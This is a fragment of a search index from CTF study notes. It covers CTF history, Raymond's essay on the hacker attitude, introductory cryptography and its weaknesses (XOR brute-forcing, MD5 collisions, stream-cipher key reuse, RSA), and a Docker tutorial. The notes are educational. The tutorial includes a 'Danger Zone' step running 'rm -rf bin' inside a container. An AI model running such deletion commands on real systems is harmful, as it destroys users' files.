"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#origin-of-ctf","title":"Origin of CTF","text":"CTF's predecessor is a traditional networking technology competition between hackers, which originated at the 4th DEFCON in 1996.
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#early-ctf-competitions","title":"Early CTF Competitions","text":"The first CTF competitions (1996 - 2001) had no clear rules and no professionally built competition platform and environment. It was up to the teams to prepare their own targets (prepare and defend their own targets, and try to break each other's targets). The organizers are mostly just non-professional volunteers who accept requests for manual scoring from the participating teams.
The lack of automated back-end systems and judges' technical competence, scoring delays and errors, as well as unreliable networks and improper configurations, led to a great deal of controversy and dissatisfaction.
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#the-modern-ctf-competition","title":"The \"Modern\" CTF Competition","text":"A professional team undertakes the competition platform, proposition, event organization, and automated point system. Teams are required to submit applications and are selected by the DEFCON conference organizers.
The following features stand out for the three years of DEFCON CTF competitions organized by LegitBS.
The competition focuses on core competencies in underlying computer and system security, and web vulnerability techniques are completely ignored. The competition environment tends to be a multi-CPU instruction architecture set, multi-operating system, and multi-programming language. Zero-sum\" scoring rules are used. The team's comprehensive ability test: reverse analysis, vulnerability mining, vulnerability exploitation, vulnerability patching and reinforcement, network traffic analysis, system security operation and maintenance, and security programming debugging.
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#ctf-competition-types","title":"CTF Competition Types","text":"Jeopardy is commonly used in online selection competitions. In Jeopardy CTF, teams can participate via the Internet or a live network, where they solve technical challenges in cybersecurity by interacting with the online environment or analyzing files offline to earn points, similar to ACM programming competitions and informatics Olympiads, and are ranked based on total points and time.
The different problem-solving problem-solving modes will generally set the first blood, and second blood, third blood, that is, the first three teams to complete the problem will get extra points, so this is not only the first team to solve the problem to encourage the value of the team, but also an indirect reflection of the team's ability.
Of course there is also a popular scoring rule that sets the initial score for each question and then gradually reduces the score of the question according to the number of teams that have successfully answered the question, meaning that the more people answer the question, the lower the score of the question will be. Eventually it will drop to a guaranteed score and then stop dropping.
The main types of questions include Web network attack and defense, RE reverse engineering, Pwn binary exploit, Crypto cryptographic attacks, Mobile mobile security, and Misc security miscellaneous six categories.
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#ctf-contest-contents","title":"CTF Contest Contents","text":"Since the CTF has a wide range of questions, there are no clear boundaries as to what will be tested. However, as far as the current competition questions are concerned, they are mainly classified according to the common Web network attack and defense, RE reverse engineering, Pwn binary vulnerability exploitation, Crypto cryptography attack, Mobile security, and Misc security.
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#web-web-attack-and-defense","title":"Web - Web Attack and Defense","text":"Mainly introduces the common vulnerabilities in Web security, such as SQL injection, XSS, CSRF, file inclusion, file upload, code audit, PHP weak types, etc., common questions and solutions in Web security, and provides some common tools.
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#reverse-engineering-reverse-engineering","title":"Reverse Engineering - Reverse Engineering","text":"Mainly introduces the common question types, tools platform, and solution ideas in Reverse Engineering, and the advanced part introduces the common software protection, decompiling, anti-debugging, shelling, and deshelling techniques in Reverse Engineering.
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#pwn-binary-vulnerability-exploitation","title":"Pwn - binary vulnerability exploitation","text":"The Pwn topic mainly examines the discovery and exploitation of binary vulnerabilities, which requires a certain understanding of the underlying computer operating system. PWN topics are mainly found on the Linux platform in the CTF competition.
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#crypto-cryptographic-attacks","title":"Crypto - Cryptographic Attacks","text":"Classical cryptography is interesting and diverse, while modern cryptography is highly secure and requires high algorithmic understanding.
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#mobile-mobile-security","title":"Mobile - Mobile Security","text":"Mainly introduces the common tools and main problem types in Android inversion. Android inversion often requires certain knowledge of Android development. iOS inversion topics are less frequent in CTF competitions, so not too much introduction is made.
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#misc-security-miscellaneous","title":"Misc - Security Miscellaneous","text":"The topic \"Online Ghost: The Autobiography of Mitnick, the World's Number One Hacker\" translated by Zhuge Jianwei, and some typical MISC topics are used as entry points, mainly including information gathering, coding analysis, forensic analysis, steganography analysis, etc.
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#how-to-become-a-hacker","title":"How To Become A Hacker","text":""},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#what-is-a-hacker","title":"What Is a Hacker?","text":"The Jargon File contains a bunch of definitions of the term \u2018hacker\u2019, most having to do with technical adeptness and a delight in solving problems and overcoming limits. If you want to know how to become a hacker, though, only two are relevant.
There is a community, a shared culture, of expert programmers and networking wizards that traces its history back through decades to the first time-sharing minicomputers and the earliest ARPAnet experiments. The members of this culture originated the term \u2018hacker\u2019. Hackers built the Internet. Hackers made the Unix operating system what it is today. Hackers make the World Wide Web work. If you are part of this culture, if you have contributed to it and other people in it know who you are and call you a hacker, you're a hacker.
The hacker mindset is not confined to this software-hacker culture. Some people apply the hacker attitude to other things, like electronics or music \u2014 actually, you can find it at the highest levels of any science or art. Software hackers recognize these kindred spirits elsewhere and may call them \u2018hackers\u2019 too \u2014 and some claim that the hacker nature is independent of the particular medium the hacker works in. But in the rest of this document, we will focus on the skills and attitudes of software hackers, and the traditions of the shared culture that originated the term \u2018hacker\u2019.
There is another group of people who loudly call themselves hackers, but aren't. These are people (mainly adolescent males) who get a kick out of breaking into computers and phreaking the phone system. Real hackers call these people \u2018crackers\u2019 and want nothing to do with them. Real hackers mostly think crackers are lazy, irresponsible, and not very bright, and object that being able to break security doesn't make you a hacker any more than being able to hotwire cars makes you an automotive engineer. Unfortunately, many journalists and writers have been fooled into using the word \u2018hacker\u2019 to describe crackers; this irritates real hackers no end.
The basic difference is this: hackers build things, and crackers break them.
If you want to be a hacker, keep reading. If you want to be a cracker, go read the alt.2600 newsgroup and get ready to do five to ten in the slammer after finding out you aren't as smart as you think you are. And that's all I'm going to say about crackers.
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#the-hacker-attitude","title":"The Hacker Attitude","text":"Hackers solve problems and build things, and they believe in freedom and voluntary mutual help. To be accepted as a hacker, you have to behave as though you have this kind of attitude yourself. And to behave as though you have the attitude, you have to really believe the attitude.
But if you think of cultivating hacker attitudes as just a way to gain acceptance in the culture, you'll miss the point. Becoming the kind of person who believes these things are important for you \u2014 for helping you learn and keeping you motivated. As with all creative arts, the most effective way to become a master is to imitate the mindset of masters \u2014 not just intellectually but emotionally as well.
Or, as the following modern Zen poem has it:
To follow the path: look to the master, follow the master, walk with the master, see through the master, become the master.
So, if you want to be a hacker, repeat the following things until you believe them:
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#1-the-world-is-full-of-fascinating-problems-waiting-to-be-solved","title":"1. The world is full of fascinating problems waiting to be solved.","text":"Being a hacker is lots of fun, but it's a kind of fun that takes lots of effort. The effort takes motivation. Successful athletes get their motivation from a kind of physical delight in making their bodies perform, and in pushing themselves past their physical limits. Similarly, to be a hacker you have to get a basic thrill from solving problems, sharpening your skills, and exercising your intelligence.
If you aren't the kind of person that feels this way naturally, you'll need to become one to make it as a hacker. Otherwise, you'll find your hacking energy is sapped by distractions like sex, money, and social approval.
(You also have to develop a kind of faith in your own learning capacity \u2014 a belief that even though you may not know all of what you need to solve a problem, if you tackle just a piece of it and learn from that, you'll learn enough to solve the next piece \u2014 and so on, until you're done.)
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#2-no-problem-should-ever-have-to-be-solved-twice","title":"2. No problem should ever have to be solved twice.","text":"Creative brains are a valuable, limited resource. They shouldn't be wasted on re-inventing the wheel when there are so many fascinating new problems waiting out there.
To behave like a hacker, you have to believe that the thinking time of other hackers is precious \u2014 so much so that it's almost a moral duty for you to share information, solve problems and then give the solutions away just so other hackers can solve new problems instead of having to perpetually re-address old ones.
Note, however, that \"No problem should ever have to be solved twice.\" does not imply that you have to consider all existing solutions sacred, or that there is only one right solution to any given problem. Often, we learn a lot about the problem that we didn't know before by studying the first cut at a solution. It's OK, and often necessary, to decide that we can do better. What's not OK is artificial technical, legal, or institutional barriers (like closed-source code) that prevent a good solution from being re-used and force people to re-invent wheels.
(You don't have to believe that you're obligated to give all your creative product away, though the hackers that do are the ones that get the most respect from other hackers. It's consistent with hacker values to sell enough of it to keep you in food and rent and computers. It's fine to use your hacking skills to support a family or even get rich, as long as you don't forget your loyalty to your art and your fellow hackers while doing it.)
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#3-boredom-and-drudgery-are-evil","title":"3. Boredom and drudgery are evil.","text":"Hackers (and creative people in general) should never be bored or have to drudge at stupid repetitive work because when this happens it means they aren't doing what only they can do \u2014 solve new problems. This wastefulness hurts everybody. Therefore boredom and drudgery are not just unpleasant but evil.
To behave like a hacker, you have to believe this enough to want to automate away the boring bits as much as possible, not just for yourself but for everybody else (especially other hackers).
(There is one apparent exception to this. Hackers will sometimes do things that may seem repetitive or boring to an observer as a mind-clearing exercise, to acquire a skill or have some particular kind of experience you can't have otherwise. But this is by choice \u2014 nobody who can think should ever be forced into a situation that bores them.)
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#4-freedom-is-good","title":"4. Freedom is good.","text":"Hackers are naturally anti-authoritarian. Anyone who can give you orders can stop you from solving whatever problem you're being fascinated by \u2014 and, given the way authoritarian minds work, will generally find some appallingly stupid reason to do so. So the authoritarian attitude has to be fought wherever you find it, lest it smothers you and other hackers.
(This isn't the same as fighting all authority. Children need to be guided and criminals restrained. A hacker may agree to accept some kind of authority to get something he wants more than the time he spends following orders. But that's a limited, conscious bargain; the kind of personal surrender authoritarians want is not on offer.)
Authoritarians thrive on censorship and secrecy. And they distrust voluntary cooperation and information-sharing \u2014 they only like the \u2018cooperation\u2019 that they control. So to behave like a hacker, you have to develop an instinctive hostility to censorship, secrecy, and the use of force or deception to compel responsible adults. And you have to be willing to act on that belief.
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#5-attitude-is-no-substitute-for-competence","title":"5. Attitude is no substitute for competence.","text":"To be a hacker, you have to develop some of these attitudes. But copping an attitude alone won't make you a hacker, any more than it will make you a champion athlete or a rock star. Becoming a hacker will take intelligence, practice, dedication, and hard work.
Therefore, you have to learn to distrust attitudes and respect competence of every kind. Hackers won't let posers waste their time, but they worship competence \u2014 especially competence at hacking, but competence at anything is valued. Competence at demanding skills that few can master is especially good, and competence at demanding skills that involve mental acuteness, craft, and concentration is best.
If you revere competence, you'll enjoy developing it in yourself \u2014 the hard work and dedication will become a kind of intense play rather than drudgery. That attitude is vital to becoming a hacker.
"},{"location":"CTF/Cryptography/","title":"Cryptography","text":"https://ctf101.org/cryptography/overview/
Cryptography is the reason we can use banking apps, transmit sensitive information over the web, and in general protect our privacy. However, a large part of CTFs is breaking widely used encryption schemes that are improperly implemented. The math may seem daunting, but more often than not, a simple understanding of the underlying principles will allow you to find flaws and crack the code.
The word \u201ccryptography\u201d technically means the art of writing codes. When it comes to digital forensics, it\u2019s a method you can use to understand how data is constructed for your analysis.
"},{"location":"CTF/Cryptography/#what-is-cryptography-used-for","title":"What is cryptography used for?","text":"Uses in everyday software
Malicious uses
Data can be represented in different bases, an 'A' needs to be a numerical representation of Base 2 or binary so computers can understand them
"},{"location":"CTF/Cryptography/#xor-basics","title":"XOR Basics","text":"An XOR or eXclusive OR is a bitwise operation indicated by ^
and shown by the following truth table:
So what XOR'ing bytes in the action 0xA0 ^ 0x2C
translates to is:
0b10001100` is equivalent to `0x8C`, a cool property of XOR is that it is reversible meaning `0x8C ^ 0x2C = 0xA0` and `0x8C ^ 0xA0 = 0x2C\n
"},{"location":"CTF/Cryptography/#what-does-this-have-to-do-with-ctf","title":"What does this have to do with CTF?","text":"XOR is a cheap way to encrypt data with a password. Any data can be encrypted using XOR as shown in this Python example:
>>> data = 'CAPTURETHEFLAG'\n>>> key = 'A'\n>>> encrypted = ''.join([chr(ord(x) ^ ord(key)) for x in data])\n>>> encrypted\n'\\x02\\x00\\x11\\x15\\x14\\x13\\x04\\x15\\t\\x04\\x07\\r\\x00\\x06'\n>>> decrypted = ''.join([chr(ord(x) ^ ord(key)) for x in encrypted])\n>>> decrypted\n'CAPTURETHEFLAG'\n
This can be extended using a multibyte key by iterating in parallel with the data.
"},{"location":"CTF/Cryptography/#exploiting-xor-encryption","title":"Exploiting XOR Encryption","text":""},{"location":"CTF/Cryptography/#single-byte-xor-encryption","title":"Single Byte XOR Encryption","text":"Single Byte XOR Encryption is trivial to bruteforce as there are only 255 key combinations to try.
"},{"location":"CTF/Cryptography/#multibyte-xor-encryption","title":"Multibyte XOR Encryption","text":"Multibyte XOR gets exponentially harder the longer the key, but if the encrypted text is long enough, character frequency analysis is a viable method to find the key. Character Frequency Analysis means that we split the cipher text into groups based on the number of characters in the key. These groups then are bruteforced using the idea that some letters appear more frequently in the English alphabet than others.
"},{"location":"CTF/Cryptography/#substitution-cipher","title":"Substitution Cipher","text":"A Substitution Cipher is a system of encryption where different symbols substitute a normal alphabet.
"},{"location":"CTF/Cryptography/#caesar-cipherrot-13","title":"Caesar Cipher/ROT 13","text":"The Caesar Cipher or Caesar Shift is a cipher that uses the alphabet to encode texts.
CAESAR` encoded with a shift of 8 is `KIMAIZ` so `ABCDEFGHIJKLMNOPQRSTUVWXYZ` becomes `IJKLMNOPQRSTUVWXYZABCDEFGH\n
ROT13 is the same thing but a fixed shift of 13, this is a trivial cipher to bruteforce because there are only 25 shifts.
"},{"location":"CTF/Cryptography/#vigenere-cipher","title":"Vigenere Cipher","text":"A Vigenere Cipher is an extended Caesar Cipher where a message is encrypted using various Caesar-shifted alphabets.
The following table can be used to encode a message:
"},{"location":"CTF/Cryptography/#encryption","title":"Encryption","text":"For example, encrypting the text SUPERSECRET
with CODE
would follow this process:
CODE
gets padded to the length of SUPERSECRET
so the key becomes CODECODECOD
SUPERSECRET
we use the table to get the Alphabet to use, in this instance row C
and column S
U
UISITGHGTSW
C
U
S
SUPERSECRET
Hashing functions are one-way functions that theoretically provide a unique output for every input. MD5, SHA-1, and other hashes which were considered secure are now found to have collisions or two different pieces of data which produce the same supposed unique output.
"},{"location":"CTF/Cryptography/#string-hashing","title":"String Hashing","text":"A string hash is a number or string generated using an algorithm that runs on text or data.
The idea is that each hash should be unique to the text or data (although sometimes it isn\u2019t). For example, the hash for \u201cdog\u201d should be different from other hashes.
You can use command line tools or online resources such as this one. Example: $ echo -n password | md5 5f4dcc3b5aa765d61d8327deb882cf99
Here, \u201cpassword\u201d is hashed with different hashing algorithms:
Generally, when verifying a hash visually, you can simply look at the first and last four characters of the string.
"},{"location":"CTF/Cryptography/#file-hashing","title":"File Hashing","text":"A file hash is a number or string generated using an algorithm that is run on text or data. The premise is that it should be unique to the text or data. If the file or text changes in any way, the hash will change.
What is it used for? - File and data identification - Password/certificate storage comparison
How can we determine the hash of a file? You can use the md5sum command (or similar).
$ md5sum samplefile.txt\n3b85ec9ab2984b91070128be6aae25eb samplefile.txt\n
"},{"location":"CTF/Cryptography/#hash-collisions","title":"Hash Collisions","text":"A collision is when two pieces of data or text have the same cryptographic hash. This is very rare.
What\u2019s significant about collisions is that they can be used to crack password hashes. Passwords are usually stored as hashes on a computer since it\u2019s hard to get the passwords from hashes.
If you bruteforce by trying every possible piece of text or data, eventually you\u2019ll find something with the same hash. Enter it, and the computer accepts it as if you entered the actual password.
Two different files on the same hard drive with the same cryptographic hash can be very interesting.
\u201cIt\u2019s now well-known that the cryptographic hash function MD5 has been broken,\u201d said Peter Selinger of Dalhousie University. \u201cIn March 2005, Xiaoyun Wang and Hongbo Yu of Shandong University in China published an article in which they described an algorithm that can find two different sequences of 128 bytes with the same MD5 hash.\u201d
For example, he cited this famous pair:
and
Each of these blocks has MD5 hash 79054025255fb1a26e4bc422aef54eb4.
Selinger said that \u201cthe algorithm of Wang and Yu can be used to create files of arbitrary length that have identical MD5 hashes, and that differ only in 128 bytes somewhere in the middle of the file. Several people have used this technique to create pairs of interesting files with identical MD5 hashes.\u201d
Ben Laurie has a nice website that visualizes this MD5 collision. For a non-technical, though slightly outdated, introduction to hash functions, see Steve Friedl\u2019s Illustrated Guide. And here\u2019s a good article from DFI News that explores the same topic.
"},{"location":"CTF/Cryptography/#block-ciphers","title":"Block Ciphers","text":"A Block Cipher is an algorithm that is used in conjunction with a cryptosystem to package a message into evenly distributed 'blocks' which are encrypted one at a time.
"},{"location":"CTF/Cryptography/#definitions","title":"Definitions","text":"Note
In this case, i
represents an index over the # of blocks in the plaintext. F() and g() represent the function used to convert plaintext into ciphertext.
ECB is the most basic block cipher, it simply chunks up plaintext into blocks and independently encrypts those blocks, and chains them all into a ciphertext.
"},{"location":"CTF/Cryptography/#flaws","title":"Flaws","text":"
Because ECB independently encrypts the blocks, patterns in data can still be seen clearly, as shown in the CBC Penguin image below.
Original Image ECB Image Other Block Cipher Modes"},{"location":"CTF/Cryptography/#cipher-block-chaining-cbc","title":"Cipher Block Chaining (CBC)","text":"CBC is an improvement upon ECB where an Initialization Vector is used to add randomness. The encrypted previous block is used as the IV for each sequential block meaning that the encryption process cannot be parallelized. CBC has been declining in popularity due to a variety of
Note
Even though the encryption process cannot be parallelized, the decryption process can be parallelized. If the wrong IV is used for decryption it will only affect the first block as the decryption of all other blocks depends on the ciphertext not the plaintext.
"},{"location":"CTF/Cryptography/#propagating-cipher-block-chaining-pcbc","title":"Propagating Cipher Block Chaining (PCBC)","text":"PCBC is a less-used cipher that modifies CBC so that decryption is also not parallelizable. It also cannot be decrypted from any point as changes made during the decryption and encryption process \"propagate\" throughout the blocks, meaning that both the plaintext and ciphertext are used when encrypting or decrypting as seen in the images below.
"},{"location":"CTF/Cryptography/#counter-ctr","title":"Counter (CTR)","text":"
Note
The counter is also known as CM, integer counter mode (ICM), and segmented integer counter (SIC)
CTR mode makes the block cipher similar to a stream cipher and it functions by adding a counter with each block in combination with a nonce and key to XOR the plaintext to produce the ciphertext. Similarly, the decryption process is the same except instead of XORing the plaintext, the ciphertext is XORed. This means that the process is parallelizable for both encryption and decryption and you can begin from anywhere as the counter for any block can be deduced easily.
"},{"location":"CTF/Cryptography/#security-considerations","title":"Security Considerations","text":"
If the nonce chosen is non-random, it is important to concatenate the nonce with the counter (high 64 bits to the nonce, low 64 bits to the counter) as adding or XORing the nonce with the counter would break security as an attacker can cause a collision with the nonce and counter. An attacker with access to providing a plaintext, nonce, and counter can then decrypt a block by using the ciphertext as seen in the decryption image.
"},{"location":"CTF/Cryptography/#padding-oracle-attack","title":"Padding Oracle Attack","text":"A Padding Oracle Attack sounds complex but essentially means abusing a block cipher by changing the length of input and being able to determine the plaintext.
"},{"location":"CTF/Cryptography/#requirements","title":"Requirements","text":"A Stream Cipher is used for symmetric key cryptography, or when the same key is used to encrypt and decrypt data. Stream Ciphers encrypt pseudorandom sequences with bits of plaintext to generate ciphertext, usually with XOR. A good way to think about Stream Ciphers is to think of them as generating one-time pads from a given state.
"},{"location":"CTF/Cryptography/#definitions_1","title":"Definitions","text":"A one-time pad is an encryption mechanism whereby the entire plaintext is XOR'd with a random sequence of numbers to generate a random ciphertext. The advantage of the one-time pad is that it offers an immense amount of security BUT for it to be useful, the randomly generated key must be distributed on a separate secure channel, meaning that one-time pads have little use in modern-day cryptographic applications on the internet. Stream ciphers extend upon this idea by using a key, usually 128-bit in length, to seed a pseudorandom keystream which is used to encrypt the text.
"},{"location":"CTF/Cryptography/#types-of-stream-ciphers","title":"Types of Stream Ciphers","text":""},{"location":"CTF/Cryptography/#synchronous-stream-ciphers","title":"Synchronous Stream Ciphers","text":"A Synchronous Stream Cipher generates a keystream based on internal states not related to the plaintext or ciphertext. This means that the stream is generated pseudorandomly outside of the context of what is being encrypted. A binary additive stream cipher is the term used for a stream cipher in which XOR's the bits with the bits of the plaintext. Encryption and decryption require that the synchronous state cipher is in the same state, otherwise, the message cannot be decrypted.
"},{"location":"CTF/Cryptography/#self-synchronizing-stream-ciphers","title":"Self-synchronizing Stream Ciphers","text":"A Self-synchronizing Stream Cipher, also known as an asynchronous stream cipher or ciphertext autokey (CTAK), is a stream cipher that uses the previous N digits to compute the keystream used for the next N characters.
Note
Seems a lot like block ciphers doesn't it? That's because block cipher feedback mode (CFB) is an example of a self-synchronizing stream cipher.
"},{"location":"CTF/Cryptography/#stream-cipher-vulnerabilities","title":"Stream Cipher Vulnerabilities","text":""},{"location":"CTF/Cryptography/#key-reuse","title":"Key Reuse","text":"The key tenet of using stream ciphers securely is to NEVER repeat key use because of the commutative property of XOR. If C1 and C2 have been XOR'd with a key K, retrieving that key K is trivial because C1 XOR C2 = P1 XOR P2, and having an English language-based XOR means that cryptoanalysis tools such as a character frequency analysis will work well due to the low entropy of the English language.
"},{"location":"CTF/Cryptography/#bit-flipping-attack","title":"Bit-flipping Attack","text":"Another key tenet of using stream ciphers securely is considering that just because a message has been decrypted, it does not mean the message has not been tampered with. Because decryption is based on state, if an attacker knows the layout of the plaintext, a Man in the Middle (MITM) attack can flip a bit during transit altering the underlying ciphertext. If a ciphertext decrypts to 'Transfer $1000', then a middleman can flip a single bit for the ciphertext to decrypt to 'Transfer $9000' because changing a single character in the ciphertext does not affect the state in a synchronous stream cipher.
"},{"location":"CTF/Cryptography/#rsa","title":"RSA","text":"RSA, which is an abbreviation of the author's name (Rivest\u2013Shamir\u2013Adleman), is a cryptosystem that allows for asymmetric encryption. Asymmetric cryptosystems are also commonly referred to as Public Key Cryptography where a public key is used to encrypt data and only a secret, a private key can be used to decrypt the data.
"},{"location":"CTF/Cryptography/#definitions_2","title":"Definitions","text":"If public n, public e, private d are all very large numbers and a message m holds true for 0 < m < n, then we can say:
(m^e)d \u2261 m (mod n)
Note
The triple equals sign in this case refers to modular congruence which in this case means that there exists an integer k such that (m^e)d = kn + m
RSA is viable because it is incredibly hard to find d even with m, n, and e because factoring large numbers is an arduous process.
"},{"location":"CTF/Cryptography/#implementation","title":"Implementation","text":"RSA follows 4 steps to be implemented: 1. Key Generation 2. Encryption 3. Decryption
"},{"location":"CTF/Cryptography/#key-generation","title":"Key Generation","text":"We are going to follow Wikipedia's small numbers example to make this idea a bit easier to understand.
Note
In This example, we are using Carmichael's totient function where \u03bb(n) = lcm(\u03bb(p), \u03bb(q)), but Euler's totient function is perfectly valid to use with RSA. Euler's totient is \u03c6(n) = (p \u2212 1)(q \u2212 1)
de mod \u03bb(n) = 1
Now we have a public key of (3233, 17) and a private key of (3233, 413)
"},{"location":"CTF/Cryptography/#encryption_1","title":"Encryption","text":"With the public key, m can be encrypted trivially
The ciphertext is equal to me mod n or:
c = m^17 mod 3233
"},{"location":"CTF/Cryptography/#decryption_1","title":"Decryption","text":"With the private key, m can be decrypted trivially as well
The plaintext is equal to cd mod n or:
m = c^413 mod 3233
"},{"location":"CTF/Cryptography/#exploitation","title":"Exploitation","text":"From the RsaCtfTool README
Attacks:
https://docker-curriculum.com/
by Prakhar Srivastav
"},{"location":"CTF/Docker/#introduction","title":"Introduction","text":""},{"location":"CTF/Docker/#what-is-docker","title":"What is Docker?","text":"Wikipedia defines Docker as
an open-source project that automates the deployment of software applications inside containers by providing an additional layer of abstraction and automation of OS-level virtualization on Linux.
Wow! That's a mouthful. In simpler words, Docker is a tool that allows developers, sys-admins, etc. to easily deploy their applications in a sandbox (called containers) to run on the host operating system i.e. Linux. The key benefit of Docker is that it allows users to package an application with all of its dependencies into a standardized unit for software development. Unlike virtual machines, containers do not have high overhead and hence enable more efficient usage of the underlying system and resources.
"},{"location":"CTF/Docker/#what-are-containers","title":"What are containers?","text":"The industry standard today is to use Virtual Machines (VMs) to run software applications. VMs run applications inside a guest Operating System, which runs on virtual hardware powered by the server\u2019s host OS.
VMs are great at providing full process isolation for applications: there are very few ways a problem in the host operating system can affect the software running in the guest operating system, and vice-versa. But this isolation comes at a great cost \u2014 the computational overhead spent virtualizing hardware for a guest OS to use is substantial.
Containers take a different approach: by leveraging the low-level mechanics of the host operating system, containers provide most of the isolation of virtual machines at a fraction of the computing power.
"},{"location":"CTF/Docker/#why-use-containers","title":"Why use containers?","text":"Containers offer a logical packaging mechanism in which applications can be abstracted from the environment in which they run. This decoupling allows container-based applications to be deployed easily and consistently, regardless of whether the target environment is a private data center, the public cloud, or even a developer\u2019s laptop. This gives developers the ability to create predictable environments that are isolated from the rest of the applications and can be run anywhere.
From an operations standpoint, apart from portability containers also give more granular control over resources giving your infrastructure improved efficiency which can result in better utilization of your compute resources.
Google Trends for Docker
Due to these benefits, containers (& Docker) have seen widespread adoption. Companies like Google, Facebook, Netflix, and Salesforce leverage containers to make large engineering teams more productive and to improve the utilization of computing resources. Google credited containers for eliminating the need for an entire data center.
"},{"location":"CTF/Docker/#what-will-this-tutorial-teach-me","title":"What will this tutorial teach me?","text":"This tutorial aims to be the one-stop shop for getting your hands dirty with Docker. Apart from demystifying the Docker landscape, it'll give you hands-on experience building and deploying your web apps on the Cloud. We'll be using Amazon Web Services to deploy a static website, and two dynamic web apps on EC2 using Elastic Beanstalk and Elastic Container Service. Even if you have no prior experience with deployments, this tutorial should be all you need to get started.
"},{"location":"CTF/Docker/#getting-started","title":"GETTING STARTED","text":"This document contains a series of several sections, each of which explains a particular aspect of Docker. We will be typing commands (or writing code) in each section. All the code used in the tutorial is available in the GitHub repo.
Note: This tutorial uses version 18.05.0-ce of Docker. If you find any part of the tutorial incompatible with a future version, please raise an issue. Thanks!
"},{"location":"CTF/Docker/#prerequisites","title":"Prerequisites","text":"There are no specific skills needed for this tutorial beyond a basic comfort with the command line and using a text editor. This tutorial uses git clone
to clone the repository locally. If you don't have Git installed on your system, either install it or remember to manually download the zip files from Github. Prior experience in developing web applications will be helpful but is not required. As we proceed further along the tutorial, we'll make use of a few cloud services. If you're interested in following along, please create an account on each of these websites:
Getting all the tooling setup on your computer can be a daunting task, but thankfully as Docker has become stable, getting Docker up and running on your favorite OS has become very easy.
Until a few releases ago, running Docker on OSX and Windows was quite a hassle. Lately however, Docker has invested significantly into improving the on-boarding experience for its users on these OSes, thus running Docker now is a cakewalk. The getting started guide on Docker has detailed instructions for setting up Docker on Mac, Linux and Windows.
Once you are done installing Docker, test your Docker installation by running the following:
$ docker run hello-world\n\nHello from Docker.\nThis message shows that your installation appears to be working correctly.\n...\n
"},{"location":"CTF/Docker/#hello-world","title":"HELLO WORLD","text":""},{"location":"CTF/Docker/#playing-with-busybox","title":"Playing with Busybox","text":"Now that we have everything setup, it's time to get our hands dirty. In this section, we are going to run a Busybox container on our system and get a taste of the docker run
command.
To get started, let's run the following in our terminal:
$ docker pull busybox\n
Note: Depending on how you've installed docker on your system, you might see a permission denied
error after running the above command. If you're on a Mac, make sure the Docker engine is running. If you're on Linux, then prefix your docker
commands with sudo
. Alternatively, you can create a docker group to get rid of this issue.
The pull
command fetches the busybox image from the Docker registry and saves it to our system. You can use the docker images
command to see a list of all images on your system.
$ docker images\nREPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE\nbusybox latest c51f86c28340 4 weeks ago 1.109 MB\n
"},{"location":"CTF/Docker/#docker-run","title":"Docker Run","text":"Great! Let's now run a Docker container based on this image. To do that we are going to use the almighty docker run
command.
$ docker run busybox\n
Wait, nothing happened! Is that a bug? Well, no. Behind the scenes, a lot of stuff happened. When you call run
, the Docker client finds the image (busybox in this case), loads up the container and then runs a command in that container. When we run docker run busybox
, we didn't provide a command, so the container booted up, ran an empty command and then exited. Well, yeah - kind of a bummer. Let's try something more exciting.
$ docker run busybox echo \"hello from busybox\"\nhello from busybox\n
Nice - finally we see some output. In this case, the Docker client dutifully ran the echo
command in our busybox container and then exited it. If you've noticed, all of that happened pretty quickly. Imagine booting up a virtual machine, running a command and then killing it. Now you know why they say containers are fast! Ok, now it's time to see the docker ps
command. The docker ps
command shows you all containers that are currently running.
$ docker ps\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n
Since no containers are running, we see a blank line. Let's try a more useful variant: docker ps -a
$ docker ps -a\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n305297d7a235 busybox \"uptime\" 11 minutes ago Exited (0) 11 minutes ago distracted_goldstine\nff0a5c3750b9 busybox \"sh\" 12 minutes ago Exited (0) 12 minutes ago elated_ramanujan\n14e5bd11d164 hello-world \"/hello\" 2 minutes ago Exited (0) 2 minutes ago thirsty_euclid\n
So what we see above is a list of all containers that we ran. Do notice that the STATUS
column shows that these containers exited a few minutes ago.
You're probably wondering if there is a way to run more than just one command in a container. Let's try that now:
$ docker run -it busybox sh\n/ # ls\nbin dev etc home proc root sys tmp usr var\n/ # uptime\n 05:45:21 up 5:58, 0 users, load average: 0.00, 0.01, 0.04\n
Running the run
command with the -it
flags attaches us to an interactive tty in the container. Now we can run as many commands in the container as we want. Take some time to run your favorite commands.
Danger Zone: If you're feeling particularly adventurous you can try rm -rf bin
in the container. Make sure you run this command in the container and not in your laptop/desktop. Doing this will make any other commands like ls
, uptime
not work. Once everything stops working, you can exit the container (type exit
and press Enter) and then start it up again with the docker run -it busybox sh
command. Since Docker creates a new container every time, everything should start working again.
That concludes a whirlwind tour of the mighty docker run
command, which would most likely be the command you'll use most often. It makes sense to spend some time getting comfortable with it. To find out more about run
, use docker run --help
to see a list of all flags it supports. As we proceed further, we'll see a few more variants of docker run
.
Before we move ahead though, let's quickly talk about deleting containers. We saw above that we can still see remnants of the container even after we've exited by running docker ps -a
. Throughout this tutorial, you'll run docker run
multiple times and leaving stray containers will eat up disk space. Hence, as a rule of thumb, I clean up containers once I'm done with them. To do that, you can run the docker rm
command. Just copy the container IDs from above and paste them alongside the command.
$ docker rm 305297d7a235 ff0a5c3750b9\n305297d7a235\nff0a5c3750b9\n
